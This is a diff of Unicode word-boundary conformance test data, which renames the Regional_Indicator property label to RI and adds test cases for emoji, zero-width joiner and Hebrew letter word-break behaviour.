-÷ 1F1E6 ÷ 0022 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0022 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
-÷ 1F1E6 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 1F1E6 × 00AD ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
-÷ 1F1E6 × 0308 × 00AD ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
-÷ 1F1E6 × 0300 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 1F1E6 × 0308 × 0300 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 1F1E6 ÷ 0061 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 1F1E6 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 1F1E6 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 1F1E6 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 1F1E6 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
-÷ 1F1E6 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 1F1E6 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F1E6 ÷ 0001 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0001 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 1F1E6 ÷ 000D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 000D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 1F1E6 ÷ 000A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 000A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 1F1E6 ÷ 000B ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 000B ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 1F1E6 ÷ 3031 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 3031 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 1F1E6 ÷ 0041 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0041 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 1F1E6 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F1E6 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F1E6 ÷ 002E ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 002E ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 1F1E6 ÷ 0030 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0030 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 1F1E6 ÷ 005F ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 005F ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 1F1E6 × 1F1E6 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [15.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 1F1E6 × 0308 × 1F1E6 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) × [15.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 1F1E6 ÷ 05D0 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 05D0 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 1F1E6 ÷ 0022 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0022 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 1F1E6 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F1E6 ÷ 261D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 261D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 1F1E6 ÷ 1F3FB ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 1F1E6 ÷ 2640 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 2640 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F1E6 ÷ 1F466 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 1F466 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 1F1E6 × 00AD ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 1F1E6 × 0308 × 00AD ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 1F1E6 × 0300 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 1F1E6 × 0308 × 0300 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 1F1E6 × 200D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 1F1E6 × 0308 × 200D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 1F1E6 ÷ 0061 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F1E6 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0061 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F1E6 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0061 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F1E6 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F1E6 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0061 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F1E6 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0031 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 1F1E6 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0031 ÷ 0027 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 1F1E6 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0031 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 1F1E6 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 1F1E6 × 0308 ÷ 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (RI) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 05D0 ÷ 0001 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 05D0 × 0308 ÷ 0001 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
÷ 05D0 ÷ 000D ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
@@ -666,18 +788,28 @@
÷ 05D0 × 0308 × 0030 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [9.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 05D0 × 005F ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 05D0 × 0308 × 005F ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 05D0 ÷ 1F1E6 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 05D0 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 05D0 ÷ 1F1E6 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 05D0 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 05D0 × 05D0 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [5.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 05D0 × 0308 × 05D0 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 05D0 ÷ 0022 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 05D0 × 0308 ÷ 0022 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 05D0 × 0027 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [7.1] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 05D0 × 0308 × 0027 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [7.1] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 05D0 ÷ 261D ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 05D0 × 0308 ÷ 261D ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 05D0 ÷ 1F3FB ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 05D0 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 05D0 ÷ 2640 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 05D0 × 0308 ÷ 2640 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 05D0 ÷ 1F466 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 05D0 × 0308 ÷ 1F466 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 05D0 × 00AD ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 05D0 × 0308 × 00AD ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 05D0 × 0300 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 05D0 × 0308 × 0300 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 05D0 × 200D ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 05D0 × 0308 × 200D ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 05D0 × 0061 × 2060 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 05D0 × 0308 × 0061 × 2060 ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 05D0 × 0061 ÷ 003A ÷ # ÷ [0.2] HEBREW LETTER ALEF (Hebrew_Letter) × [5.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -718,18 +850,28 @@
÷ 0022 × 0308 ÷ 0030 ÷ # ÷ [0.2] QUOTATION MARK (Double_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
